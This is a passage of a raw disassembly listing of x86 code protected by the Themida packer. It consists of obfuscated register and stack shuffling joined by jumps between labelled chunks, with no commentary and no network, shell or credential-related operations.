loc_560EDA: ; CODE XREF: Themida_:0056B926j
pop esi
xor esi, 7D2A08F2h
mov ecx, esi
pop esi
sub ecx, edx
push ecx
xor dword ptr [esp], 531E7CABh
pop edx
xor edx, 531E7CABh
jmp loc_55F893
; ---------------------------------------------------------------------------
loc_560EFA: ; CODE XREF: Themida_:00570125j
sub eax, 169A7147h
pop ecx
push edx
mov edx, 796A5B0Ch
jmp loc_55F739
; ---------------------------------------------------------------------------
loc_560F0B: ; CODE XREF: Themida_:00565724j
xor ebp, 0A1609B93h
and ecx, ebp
pop ebp
inc ecx
sub ecx, 0CBE42B19h
push ecx
pop edx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
not dword ptr [esp]
pop edx
xor edx, 4C5F7356h
add edx, 7F6FA3ACh
jmp loc_56DB27
; ---------------------------------------------------------------------------
loc_560F41: ; CODE XREF: Themida_:0056A4DAj
add ecx, eax
jmp loc_56758B
; ---------------------------------------------------------------------------
loc_560F48: ; CODE XREF: Themida_:0056E446j
push edx
mov edx, 2E4E731Eh
shl edx, 3
add edx, 69BF7DC8h
jmp loc_567930
; ---------------------------------------------------------------------------
loc_560F5C: ; CODE XREF: Themida_:005722FDj
pop eax
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_5630E1
; ---------------------------------------------------------------------------
loc_560F6B: ; CODE XREF: Themida_:00568FE8j
sub esp, 4
mov [esp], ebx
push esp
jmp loc_5643EC
; ---------------------------------------------------------------------------
loc_560F77: ; CODE XREF: Themida_:00567946j
mov [esp], esp
push 4A98h
mov [esp], ebp
mov ebp, 4
add [esp+4], ebp
mov ebp, [esp]
jmp loc_568345
; ---------------------------------------------------------------------------
loc_560F93: ; CODE XREF: Themida_:00562C3Ej
add esi, edi
sub esi, 4FF5793h
pop edi
add esi, 4
xchg esi, [esp]
jmp loc_572B08
; ---------------------------------------------------------------------------
loc_560FA7: ; CODE XREF: Themida_:00565284j
mov [esp], ebp
push edi
jmp loc_55DF79
; ---------------------------------------------------------------------------
loc_560FB0: ; CODE XREF: Themida_:00561BF3j
xor ebx, 4AA3920h
jmp loc_572A99
; ---------------------------------------------------------------------------
loc_560FBB: ; CODE XREF: Themida_:00564F9Ej
sub ebp, 61F869C4h
add ebp, edi
push edx
push ebx
mov ebx, 45153750h
dec ebx
jmp loc_55DA27
; ---------------------------------------------------------------------------
loc_560FD0: ; CODE XREF: Themida_:00570A37j
mov edx, 4
add ebx, 71C85950h
add ebx, edx
jmp loc_560693
; ---------------------------------------------------------------------------
loc_560FE2: ; CODE XREF: Themida_:0056A8DBj
pop esp
add cx, 991Fh
mov si, cx
pop ecx
push edi
mov di, 295h
jmp loc_562CE0
; ---------------------------------------------------------------------------
loc_560FF6: ; CODE XREF: Themida_:005640F4j
add esp, 4
jmp loc_56C2E0
; ---------------------------------------------------------------------------
loc_561001: ; CODE XREF: Themida_:0056C4A0j
sub esp, 4
mov [esp], esp
jmp loc_56D77C
; ---------------------------------------------------------------------------
loc_56100C: ; CODE XREF: Themida_:0055F4F0j
add esp, 4
pop dword ptr [esp]
pop esp
push 29EAh
mov [esp], eax
mov eax, esp
add eax, 4
push edx
jmp loc_55DC5C
; ---------------------------------------------------------------------------
loc_56102B: ; CODE XREF: Themida_:0056C603j
add esp, 4
jmp loc_55DF67
; ---------------------------------------------------------------------------
loc_561036: ; CODE XREF: Themida_:00572A40j
add dword ptr [esp+4], 5CBF3F6Eh
jmp loc_565A6F
; ---------------------------------------------------------------------------
loc_561043: ; CODE XREF: Themida_:00567BA3j
or eax, eax
jnz loc_563244
sub esp, 4
jmp loc_568DFA
; ---------------------------------------------------------------------------
loc_561056: ; CODE XREF: Themida_:00567798j
pop esi
pop edi
add edx, ebx
push ebx
jmp loc_5694A0
; ---------------------------------------------------------------------------
loc_561060: ; CODE XREF: Themida_:0056504Cj
xor eax, 55B2621Ch
shr eax, 7
inc eax
add eax, 1
inc eax
xor eax, 0F13E6Fh
jmp loc_5615CB
; ---------------------------------------------------------------------------
loc_561077: ; CODE XREF: Themida_:00560208j
push ebx
push edi
mov edi, 4F050FF0h
dec edi
sub edi, 42310AAAh
jmp loc_56635F
; ---------------------------------------------------------------------------
loc_56108A: ; CODE XREF: Themida_:00568D81j
add esp, 4
add edx, eax
push ebp
mov ebp, 23635D47h
sub edx, ebp
pop ebp
pop eax
sub edx, 42657ECDh
jmp loc_569738
; ---------------------------------------------------------------------------
loc_5610A4: ; CODE XREF: Themida_:0056A034j
push 7FF9h
mov [esp], ebp
push esp
jmp loc_565445
; ---------------------------------------------------------------------------
loc_5610B2: ; CODE XREF: Themida_:00564358j
mov [esp], ecx
mov ecx, 4
sub esp, 4
jmp loc_566B85
; ---------------------------------------------------------------------------
loc_5610C2: ; CODE XREF: Themida_:00567D74j
push dword ptr [esp]
pop edi
add esp, 4
shr ecx, 6
push ebp
mov ebp, ebx
push 7D15h
mov [esp], ebp
jmp loc_569FFD
; ---------------------------------------------------------------------------
loc_5610DF: ; CODE XREF: Themida_:0056D0C3j
shr ch, 4
push bx
mov bh, 0E7h
xor ch, bh
pop bx
push 5A7Eh
mov [esp], ebx
jmp loc_571E7D
; ---------------------------------------------------------------------------
loc_5610F7: ; CODE XREF: Themida_:0056FFC9j
push edi
mov edi, 4
add dword ptr [esp+4], 1222309Ah
sub dword ptr [esp+4], 3117094Fh
add [esp+4], edi
push ebp
mov ebp, 3117094Fh
add [esp+8], ebp
push dword ptr [esp]
pop ebp
add esp, 4
push ecx
mov ecx, 1222309Ah
sub [esp+8], ecx
jmp loc_570102
; ---------------------------------------------------------------------------
loc_561134: ; CODE XREF: Themida_:005700F7j
pop edx
push ecx
mov ch, 0F1h
jmp loc_568D39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_56113D: ; CODE XREF: sub_562A0A+Aj
mov dh, 0CDh
sub dh, 22h
sub al, dh
mov dx, word ptr [esp+4+var_4]
push ebp
jmp loc_5602DA
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_56114E: ; CODE XREF: Themida_:00567C6Cj
push ebx
mov ebx, 4
add [esp+4], ebx
pop ebx
pop edx
push ecx
push ebx
mov ebx, 72DE603Fh
and ebx, 6B72142Ah
xor ebx, 3E993B93h
jmp loc_55D6D2
; ---------------------------------------------------------------------------
loc_561172: ; CODE XREF: Themida_:00565737j
sub eax, ebx
add eax, 16411ECh
sub esp, 4
mov [esp], edx
push eax
push ebp
push 21886C49h
jmp loc_57041B
; ---------------------------------------------------------------------------
loc_56118B: ; CODE XREF: Themida_:00572B40j
push edx
mov edx, 79B1338Fh
sub edx, 18524289h
jmp loc_560B37
; ---------------------------------------------------------------------------
loc_56119C: ; CODE XREF: Themida_:005658B6j
xor ebx, eax
pop eax
and ebx, 660F09A3h
shl ebx, 5
not ebx
jmp loc_56BC72
; ---------------------------------------------------------------------------
loc_5611AF: ; CODE XREF: Themida_:0056A9F4j
push edi
mov edi, 323D4D22h
push edi
jmp loc_5725E8
; ---------------------------------------------------------------------------
loc_5611BB: ; CODE XREF: Themida_:0055D354j
push ecx
mov cl, bh
mov al, cl
mov ecx, [esp]
push esi
jmp loc_56351E
; ---------------------------------------------------------------------------
loc_5611C9: ; CODE XREF: Themida_:00565987j
mov [esp], ebp
mov ebp, esp
add ebp, 4
push edx
mov edx, 57F22A9Fh
push ecx
jmp loc_55DB4D
; ---------------------------------------------------------------------------
loc_5611E0: ; CODE XREF: Themida_:0056C655j
mov [esp], eax
mov eax, esp
push esi
push eax
mov eax, 46C42137h
mov esi, 0B93BDECDh
add esi, eax
pop eax
add eax, esi
jmp loc_5706FC
; ---------------------------------------------------------------------------
loc_5611FB: ; CODE XREF: Themida_:00564321j
add ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
push ecx
mov ecx, 4
add ebx, 46614CDCh
add ebx, ecx
sub ebx, 46614CDCh
pop ecx
xchg ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_56BE51
; ---------------------------------------------------------------------------
loc_56122A: ; CODE XREF: Themida_:0056761Ej
add ebp, 10755E18h
pop ecx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
cmp cx, ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_561246: ; CODE XREF: Themida_:0055EF78j
add esp, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov edx, [esp]
push 1EDEh
mov [esp], ebx
jmp loc_57081E
; ---------------------------------------------------------------------------
mov ax, [esp]
push 3301h
jmp loc_568144
; ---------------------------------------------------------------------------
loc_561279: ; CODE XREF: Themida_:0055E3E6j
pop edi
jmp loc_56D8F5
; ---------------------------------------------------------------------------
loc_56127F: ; CODE XREF: Themida_:005672B9j
sub ecx, 162860CDh
xor ecx, 3064A58Bh
sub ebx, ecx
pop ecx
sub ebx, 493E27C6h
jmp loc_57033C
; ---------------------------------------------------------------------------
loc_561299: ; CODE XREF: Themida_:00566C71j
add ax, bx
mov bx, [esp]
jmp loc_5603AB
; ---------------------------------------------------------------------------
loc_5612A5: ; CODE XREF: Themida_:00570D61j
mov esi, [esp]
add esp, 4
sub ebx, edi
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], ecx
sub esp, 4
jmp loc_567708
; ---------------------------------------------------------------------------
loc_5612DD: ; CODE XREF: Themida_:0056AC61j
push esi
mov esi, 1DB4108Dh
sub esi, 0D44EF9D2h
jmp loc_560A0B
; ---------------------------------------------------------------------------
loc_5612EE: ; CODE XREF: Themida_:005663D0j
add ebx, 7D74F77h
shr ebx, 2
dec ebx
not ebx
jmp loc_5720EB
; ---------------------------------------------------------------------------
loc_5612FF: ; CODE XREF: Themida_:00560C67j
push ebp
push 3CBD135Dh
jmp loc_563144
; ---------------------------------------------------------------------------
loc_56130A: ; CODE XREF: Themida_:0055EFB5j
mov [esp], eax
sub esp, 4
jmp loc_56BF4E
; ---------------------------------------------------------------------------
loc_561318: ; CODE XREF: Themida_:0056A3CFj
mov eax, 3B857007h
push edi
mov edi, 311526FFh
add edi, 37E8655Ch
add edi, 0EEE1B9E3h
add ebx, edi
pop edi
jmp loc_55DC0C
; ---------------------------------------------------------------------------
loc_561337: ; CODE XREF: Themida_:0055D422j
xor ah, 62h
dec ah
shl ah, 7
xor ah, 92h
jmp loc_5668C1
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], esi
push esp
jmp loc_56297C
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
sub esp, 4
jmp loc_565D3A
; ---------------------------------------------------------------------------
loc_561365: ; CODE XREF: Themida_:005671A5j
push esi
mov esi, esp
jmp loc_56BF3B
; ---------------------------------------------------------------------------
loc_56136D: ; CODE XREF: Themida_:0056C118j
xor edi, eax
pop eax
xor edi, 4B626BB2h
sub edi, 3FD105FBh
push 780Ch
mov [esp], eax
mov eax, 60B22355h
or edi, eax
pop eax
push 2448h
mov [esp], ebp
mov ebp, 3546C64h
or ebp, 1E6E2777h
inc ebp
shl ebp, 8
jmp loc_56DC55
; ---------------------------------------------------------------------------
loc_5613A8: ; CODE XREF: Themida_:0055FBB5j
mov edi, 5BAA7B17h
inc edi
add edi, 0C65B389h
add ecx, edi
pop edi
pop ebx
add ecx, 4
push 1524h
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_572821
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_5613D2: ; CODE XREF: sub_59DB3D-37052j
mov al, 4Fh
mov ch, 4Dh
xor ch, al
pop eax
or ah, ch
mov cx, word ptr [esp+28h+var_28]
add esp, 2
push edx
jmp loc_56C717
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_5613E8: ; CODE XREF: Themida_:0056D50Aj
pop esi
xor eax, [esp]
xor [esp], eax
jmp loc_57190D
; ---------------------------------------------------------------------------
loc_5613F4: ; CODE XREF: Themida_:00562F83j
pop ebx
add edx, esi
pop esi
push esi
mov esi, esp
push 7C5Eh
mov [esp], eax
mov eax, 80B591Eh
shl eax, 3
and eax, 0BA32A53h
xor eax, 20854h
add esi, eax
pop eax
sub esi, 4
xor esi, [esp]
jmp loc_565407
; ---------------------------------------------------------------------------
loc_561423: ; CODE XREF: Themida_:00568094j
mov ecx, 1B3750DBh
mov eax, 3D37E887h
add eax, ecx
pop ecx
jmp loc_564B74
; ---------------------------------------------------------------------------
loc_561435: ; CODE XREF: Themida_:0056E411j
push dword ptr [eax]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56143C: ; CODE XREF: Themida_:0056DEB5j
xor [esp], edx
xor edx, [esp]
pop esp
push ebp
push eax
mov eax, 62593AC1h
push edi
mov edi, 674715BFh
mov ebp, edi
pop edi
add ebp, 0FB12A502h
xor ebp, eax
mov eax, [esp]
push eax
push 4E3Eh
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
push ebp
push 50B0h
jmp loc_569562
; ---------------------------------------------------------------------------
loc_56147C: ; CODE XREF: Themida_:00564DD7j
push eax
push ebx
mov ebx, ecx
mov eax, ebx
pop ebx
jmp loc_55F6CA
; ---------------------------------------------------------------------------
loc_561488: ; CODE XREF: Themida_:0056B0BEj
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_56F15D
; ---------------------------------------------------------------------------
loc_56149A: ; CODE XREF: Themida_:00563978j
add esi, 88ACB48Ch
add edx, esi
jmp loc_55F1D9
; ---------------------------------------------------------------------------
mov cx, [esp]
push 67FCh
mov [esp], ebx
push esp
mov ebx, [esp]
jmp loc_5614F8
; ---------------------------------------------------------------------------
loc_5614BC: ; CODE XREF: Themida_:00565D9Cj
add edi, ebx
pop ebx
mov ecx, 0D8A065Dh
sub ecx, edi
mov edi, [esp]
add esp, 4
jmp loc_5682DC
; ---------------------------------------------------------------------------
loc_5614D1: ; CODE XREF: Themida_:00571AA6j
push edi
mov edi, 658A628Bh
push esi
jmp loc_56F147
; ---------------------------------------------------------------------------
loc_5614DD: ; CODE XREF: Themida_:00563747j
add ebx, 770E4078h
sub ebx, edx
sub ebx, 770E4078h
push 72EBh
mov [esp], eax
jmp loc_5615D9
; ---------------------------------------------------------------------------
loc_5614F8: ; CODE XREF: Themida_:005614B7j
sub esp, 4
mov [esp], eax
mov eax, esp
push ebx
mov ebx, 4
add eax, ebx
jmp loc_563570
; ---------------------------------------------------------------------------
loc_561510: ; CODE XREF: Themida_:0056E06Dj
mov [esp], ebp
push 5F7Ch
jmp loc_56994A
; ---------------------------------------------------------------------------
loc_56151D: ; CODE XREF: Themida_:00567442j
xor ecx, 50511A58h
shl ecx, 7
xor ecx, 0B193BA7Eh
and ebp, ecx
pop ecx
sub ebp, 0E4373023h
xor esi, ebp
mov ebp, [esp]
add esp, 4
add ebx, esi
mov esi, [esp]
add esp, 4
add ebx, 4
jmp loc_563C23
; ---------------------------------------------------------------------------
loc_56154D: ; CODE XREF: Themida_:0056AF32j
push edx
jmp loc_57240B
; ---------------------------------------------------------------------------
loc_561553: ; CODE XREF: Themida_:00560C15j
push edx
mov edx, edi
mov ebx, edx
pop edx
jmp loc_571DDB
; ---------------------------------------------------------------------------
loc_56155E: ; CODE XREF: Themida_:0056A22Ej
push dword ptr [esp]
pop ecx
jmp loc_56A8AC
; ---------------------------------------------------------------------------
loc_561567: ; CODE XREF: Themida_:00560983j
shr al, 7
sub al, 6Fh
jmp loc_569101
; ---------------------------------------------------------------------------
loc_561571: ; CODE XREF: Themida_:00562257j
pop esp
add esi, 4
xchg esi, [esp]
jmp loc_56D67B
; ---------------------------------------------------------------------------
loc_561580: ; CODE XREF: Themida_:005628F1j
xor edi, 310D1602h
add edi, 0F0A9299h
add ecx, edi
pop edi
sub ecx, 70350BD2h
pop edi
add eax, [ecx]
pop ecx
jmp loc_56360C
; ---------------------------------------------------------------------------
loc_56159E: ; CODE XREF: Themida_:00560459j
sub esp, 4
jmp loc_56A4F4
; ---------------------------------------------------------------------------
push 2458h
jmp loc_56FF19
; ---------------------------------------------------------------------------
loc_5615B3: ; CODE XREF: Themida_:0055F734j
pop esi
sub ebx, 4
xchg ebx, [esp]
jmp loc_55D5EF
; ---------------------------------------------------------------------------
loc_5615BF: ; CODE XREF: Themida_:0056B195j
push edi
mov edi, 6C094F01h
push edi
jmp loc_56313A
; ---------------------------------------------------------------------------
loc_5615CB: ; CODE XREF: Themida_:00561072j
add ecx, eax
pop eax
jmp loc_56F554
; ---------------------------------------------------------------------------
loc_5615D3: ; CODE XREF: Themida_:0055DA38j
push edi
jmp loc_56FA3A
; ---------------------------------------------------------------------------
loc_5615D9: ; CODE XREF: Themida_:005614F3j
mov eax, 690635EBh
sub ebx, eax
pop eax
pop edx
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push 313Eh
mov [esp], ebx
jmp loc_56D077
; ---------------------------------------------------------------------------
loc_5615FA: ; CODE XREF: Themida_:0056C13Bj
push ebx
push esp
jmp loc_562D45
; ---------------------------------------------------------------------------
loc_561601: ; CODE XREF: Themida_:0056867Aj
add ebx, 4
push edx
mov edx, 4
add ebx, 250A4B1Eh
sub ebx, edx
push ebp
mov ebp, 7D970CA0h
shl ebp, 3
inc ebp
jmp loc_56D40D
; ---------------------------------------------------------------------------
loc_561624: ; CODE XREF: Themida_:00561947j
sub ecx, 1D7A016Ch
sub ecx, 8EAF8698h
push ecx
add dword ptr [esp], 152D224Eh
pop ebp
sub ebp, 152D224Eh
pop ecx
add ebp, ebx
jmp loc_56037B
; ---------------------------------------------------------------------------
loc_561647: ; CODE XREF: Themida_:0056EAFBj
xor ah, bh
jmp loc_56BC64
; ---------------------------------------------------------------------------
loc_56164E: ; CODE XREF: Themida_:005679E4j
mov ecx, esp
sub esp, 4
mov [esp], eax
jmp loc_5718E0
; ---------------------------------------------------------------------------
loc_56165B: ; CODE XREF: Themida_:00571F6Ej
pop esi
jmp loc_55E01D
; ---------------------------------------------------------------------------
loc_561661: ; CODE XREF: Themida_:00563E7Fj
push eax
jmp loc_57109E
; ---------------------------------------------------------------------------
loc_561667: ; CODE XREF: Themida_:0056A720j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push 46A3h
mov [esp], ebp
push edx
push edi
jmp loc_55D611
; ---------------------------------------------------------------------------
loc_56167F: ; CODE XREF: Themida_:00562436j
mov [esp], ecx
mov ch, 0E6h
mov bh, 4
add bh, 0
sub bh, ch
sub bh, 0
pop ecx
add al, 0ABh
jmp loc_570405
; ---------------------------------------------------------------------------
loc_561696: ; CODE XREF: Themida_:005603C8j
dec ecx
xchg edi, ecx
not edi
xchg edi, ecx
neg ecx
neg ecx
xor ecx, 9F388D24h
sub edx, 1BA5509Bh
add edx, ecx
add edx, 1BA5509Bh
jmp loc_56E331
; ---------------------------------------------------------------------------
loc_5616BA: ; CODE XREF: Themida_:0056AEB3j
xor dword ptr [esp], 1142EF1h
pop ebp
push eax
mov eax, 1142EF1h
xor ebp, eax
pop eax
pop esi
neg ebp
xor ebp, 849595ABh
jmp loc_56FEC0
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebx
jmp loc_561F18
; ---------------------------------------------------------------------------
loc_5616E3: ; CODE XREF: Themida_:0056614Ej
pop edi
push ebx
mov ebx, esp
jmp loc_56C3D6
; ---------------------------------------------------------------------------
loc_5616EC: ; CODE XREF: Themida_:00566140j
mov esi, 4
sub ebp, esi
jmp loc_5690D9
; ---------------------------------------------------------------------------
loc_5616F8: ; CODE XREF: Themida_:0056B9F1j
add bl, dl
pop edx
add bl, cl
jmp loc_561901
; ---------------------------------------------------------------------------
loc_561702: ; CODE XREF: Themida_:00560B72j
mov [esp], ecx
jmp loc_5660FE
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_56BAF6
; ---------------------------------------------------------------------------
loc_56171B: ; CODE XREF: Themida_:0056D624j
push 5598h
mov [esp], edi
push 71A630AEh
pop edi
push edi
not dword ptr [esp]
jmp loc_566B9C
; ---------------------------------------------------------------------------
loc_561732: ; CODE XREF: Themida_:0056A105j
mov [esp], edx
mov edx, 2
jmp loc_55EAC1
; ---------------------------------------------------------------------------
loc_56173F: ; CODE XREF: Themida_:0056AEE9j
mov edx, 744E3784h
shr edx, 8
shl edx, 1
sub edx, 29255EA5h
dec edx
not edx
push edx
inc dword ptr [esp]
pop edx
sub edx, 2B0FEE45h
xor edi, edx
pop edx
xor edx, edi
mov edi, [esp]
add esp, 4
add edx, 93F59426h
sub edi, edx
jmp loc_5654BF
; ---------------------------------------------------------------------------
loc_561775: ; CODE XREF: Themida_:005692A9j
mov eax, [esp]
add esp, 4
add ebp, edi
jmp loc_55D743
; ---------------------------------------------------------------------------
loc_561782: ; CODE XREF: Themida_:00571E2Ej
add ebp, 0E8DC18AEh
sub esi, ebp
pop ebp
inc esi
jmp loc_562C6A
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_55DE99
; ---------------------------------------------------------------------------
loc_5617AB: ; CODE XREF: Themida_:0056B047j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub bl, 0CAh
push edx
mov dl, 78h
jmp loc_56FA57
; ---------------------------------------------------------------------------
loc_5617C5: ; CODE XREF: Themida_:0056A5DAj
push edi
mov edi, 534F7419h
dec edi
neg edi
or edi, 144942F7h
jmp loc_56AAF1
; ---------------------------------------------------------------------------
loc_5617D9: ; CODE XREF: Themida_:00569ABAj
mov ebx, 4
add edx, ebx
pop ebx
xchg edx, [esp]
jmp loc_5718F3
; ---------------------------------------------------------------------------
loc_5617E9: ; CODE XREF: Themida_:0056EF84j
add esp, 4
push ebx
jmp loc_5631B6
; ---------------------------------------------------------------------------
loc_5617F2: ; CODE XREF: Themida_:005707ECj
xor ebp, 9D4B1B44h
jmp loc_563FA9
; ---------------------------------------------------------------------------
loc_5617FD: ; CODE XREF: Themida_:00564CD0j
add dword ptr [esp], 4F9C2D39h
mov eax, [esp]
jmp loc_5659F8
; ---------------------------------------------------------------------------
loc_56180C: ; CODE XREF: Themida_:00562FFFj
mov [esp], eax
mov eax, esp
push ebx
mov ebx, 5B0F063Ch
not ebx
shl ebx, 3
dec ebx
dec ebx
inc ebx
xor ebx, 40ADB2B0h
dec ebx
shr ebx, 5
shr ebx, 1
jmp loc_56F55E
; ---------------------------------------------------------------------------
loc_561830: ; CODE XREF: Themida_:00565EA3j
shr esi, 4
jmp loc_560E42
; ---------------------------------------------------------------------------
loc_561838: ; CODE XREF: Themida_:00572196j
or ebx, 4ACD5529h
add ebx, 7D0626A2h
dec ebx
add ebx, 8809F9F8h
add ebp, ebx
pop ebx
xchg ebp, [esp]
jmp loc_56FE7F
; ---------------------------------------------------------------------------
loc_561856: ; CODE XREF: Themida_:0055E11Cj
mov eax, 7DB44071h
push edx
jmp loc_55F9F2
; ---------------------------------------------------------------------------
loc_561861: ; CODE XREF: Themida_:00570D27j
sub ebp, 21FF77ABh
add ecx, 44847EACh
add ecx, ebp
sub ecx, 44847EACh
pop ebp
push eax
mov eax, 10384935h
and eax, 6A890723h
push edi
push esi
mov esi, 3FAC5E02h
mov edi, 57C67775h
sub edi, esi
pop esi
and eax, edi
pop edi
xor eax, 4F421630h
push 5F97h
mov [esp], edx
mov edx, 7B9A2477h
push ebp
mov ebp, 49AC1735h
sub ebp, 75FC2497h
jmp loc_570680
; ---------------------------------------------------------------------------
loc_5618B6: ; CODE XREF: Themida_:0056C88Ej
push 2154700Ah
jmp loc_55DA07
; ---------------------------------------------------------------------------
loc_5618C0: ; CODE XREF: Themida_:005691FDj
shr edi, 7
neg edi
sub edi, 0EDBB3CDEh
mov ecx, 4C4C2776h
add ecx, edi
pop edi
add ecx, 1
xor ecx, 63A63637h
xor ecx, 3EF90106h
push ecx
add dword ptr [esp], 5D7F5E4Dh
mov ebp, [esp]
add esp, 4
jmp loc_56EF7B
; ---------------------------------------------------------------------------
loc_5618F8: ; CODE XREF: Themida_:00565B81j
mov dl, 0E0h
dec dl
jmp loc_561B35
; ---------------------------------------------------------------------------
loc_561901: ; CODE XREF: Themida_:005616FDj
push eax
jmp loc_5725A2
; ---------------------------------------------------------------------------
lodsb
push esi
mov esi, esp
jmp loc_56C2CC
; ---------------------------------------------------------------------------
loc_561910: ; CODE XREF: Themida_:0056E1E6j
add edx, 4F7D3462h
jmp loc_563332
; ---------------------------------------------------------------------------
loc_56191B: ; CODE XREF: Themida_:00567338j
mov [esp], edx
mov edx, esp
push 7324h
mov [esp], ecx
push 2057h
mov [esp], ebp
mov ebp, 4
push ebp
push edx
mov edx, 72D76FE3h
jmp loc_56A124
; ---------------------------------------------------------------------------
loc_561941: ; CODE XREF: Themida_:005725B9j
push ecx
mov ecx, 64A5573Dh
jmp loc_561624
; ---------------------------------------------------------------------------
loc_56194C: ; CODE XREF: Themida_:0056306Dj
push ebp
mov ebp, 499147DEh
jmp loc_5628BE
; ---------------------------------------------------------------------------
loc_561957: ; CODE XREF: Themida_:0056778Bj
pop ecx
pop eax
sub esp, 4
mov [esp], ecx
mov ch, 57h
sub ch, 0BBh
or bl, ch
pop ecx
jmp loc_569927
; ---------------------------------------------------------------------------
loc_56196C: ; CODE XREF: Themida_:0056E14Cj
neg ch
xor ch, 0Ah
sub ch, 3
xor ch, 0B4h
xor ch, 99h
add ch, 0Bh
push ebx
mov bl, 4Dh
dec bl
jmp loc_55FB7A
; ---------------------------------------------------------------------------
loc_561987: ; CODE XREF: Themida_:005703BCj
add esp, 4
xor ecx, eax
pop eax
sub eax, 481561FDh
jmp loc_561F6A
; ---------------------------------------------------------------------------
loc_561997: ; CODE XREF: Themida_:0056F6B7j
mov ecx, ebp
mov ebp, [esp]
add esp, 4
inc ecx
add ecx, 0C43A8E53h
jmp loc_56A587
; ---------------------------------------------------------------------------
loc_5619AB: ; CODE XREF: Themida_:00567854j
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
jmp loc_571AB2
; ---------------------------------------------------------------------------
loc_5619C6: ; CODE XREF: Themida_:00560954j
pop edx
push ebx
push ecx
push esi
mov esi, 700F10DDh
push esi
add dword ptr [esp], 233504F5h
pop ecx
sub ecx, 233504F5h
pop esi
push edi
mov edi, 3DE5479Eh
jmp loc_55DA48
; ---------------------------------------------------------------------------
loc_5619EA: ; CODE XREF: Themida_:0056A6CAj
xchg edi, [esp]
mov esp, [esp]
add esp, 4
jmp loc_56B7FF
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebx
jmp loc_571D8E
; ---------------------------------------------------------------------------
loc_561A03: ; CODE XREF: Themida_:0056F158j
push ecx
mov ecx, 57D72537h
xor ecx, 5E38767Dh
add esi, ecx
pop ecx
add esi, 245B34C9h
sub esi, edi
sub esi, 245B34C9h
sub esi, 9EF534Ah
pop edi
add esi, ebp
add esi, 1F7554E4h
mov ebp, [esp]
push edi
push esp
pop edi
add edi, 4
jmp loc_568AAF
; ---------------------------------------------------------------------------
loc_561A40: ; CODE XREF: Themida_:00565402j
sub edi, esi
pop esi
add edx, 37191F2Dh
sub edx, edi
sub edx, 37191F2Dh
pop edi
jmp loc_569D53
; ---------------------------------------------------------------------------
loc_561A57: ; CODE XREF: Themida_:0055E792j
add dword ptr [esp], 4
pop edx
push ecx
jmp loc_5603C3
; ---------------------------------------------------------------------------
loc_561A65: ; CODE XREF: Themida_:00568B67j
xor esi, 15F03157h
xor esi, 141C53F0h
sub esi, 2D25763Bh
sub esi, 8FFD100h
jmp loc_56A10A
; ---------------------------------------------------------------------------
loc_561A82: ; CODE XREF: Themida_:0056C939j
mov ecx, [esp]
jmp loc_56C64A
; ---------------------------------------------------------------------------
loc_561A8A: ; CODE XREF: Themida_:0056721Cj
mov ebx, 24C91C49h
dec ebx
neg ebx
add ebx, 7F1F1FE2h
xor ebx, 71A82092h
add ecx, ebx
pop ebx
jmp loc_571765
; ---------------------------------------------------------------------------
loc_561AA6: ; CODE XREF: Themida_:0056C104j
mov [esp], ebx
mov ebx, 24h
jmp loc_56F76C
; ---------------------------------------------------------------------------
loc_561AB3: ; CODE XREF: Themida_:00564B39j
not edi
jmp loc_56CB80
; ---------------------------------------------------------------------------
loc_561ABA: ; CODE XREF: Themida_:005650FDj
add ecx, 70AF46CAh
shr ecx, 6
add ecx, 0FC7D7D0Ah
sub dword ptr [esp+4], 4D2501C0h
add [esp+4], ecx
add dword ptr [esp+4], 4D2501C0h
pop ecx
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_565CCD
; ---------------------------------------------------------------------------
loc_561AEF: ; CODE XREF: Themida_:0055DB1Dj
push esp
pop edx
add edx, 4
push ebx
push 2
pop ebx
push edi
mov edi, 0CE93AF9h
push edx
mov edx, 319B4FF5h
sub edi, edx
pop edx
add edi, 29919111h
add edx, 5B8C36A0h
jmp loc_56F292
; ---------------------------------------------------------------------------
loc_561B1E: ; CODE XREF: Themida_:0056F2BFj
pop esp
jmp loc_56B561
; ---------------------------------------------------------------------------
loc_561B24: ; CODE XREF: Themida_:005698D8j
push ebx
jmp loc_56A5AF
; ---------------------------------------------------------------------------
loc_561B2A: ; CODE XREF: Themida_:0056844Bj
push ebx
mov bh, 9Ah
xor bh, 39h
jmp loc_561FE5
; ---------------------------------------------------------------------------
loc_561B35: ; CODE XREF: Themida_:005618FCj
and dl, 0D5h
add dl, 4Dh
and ah, dl
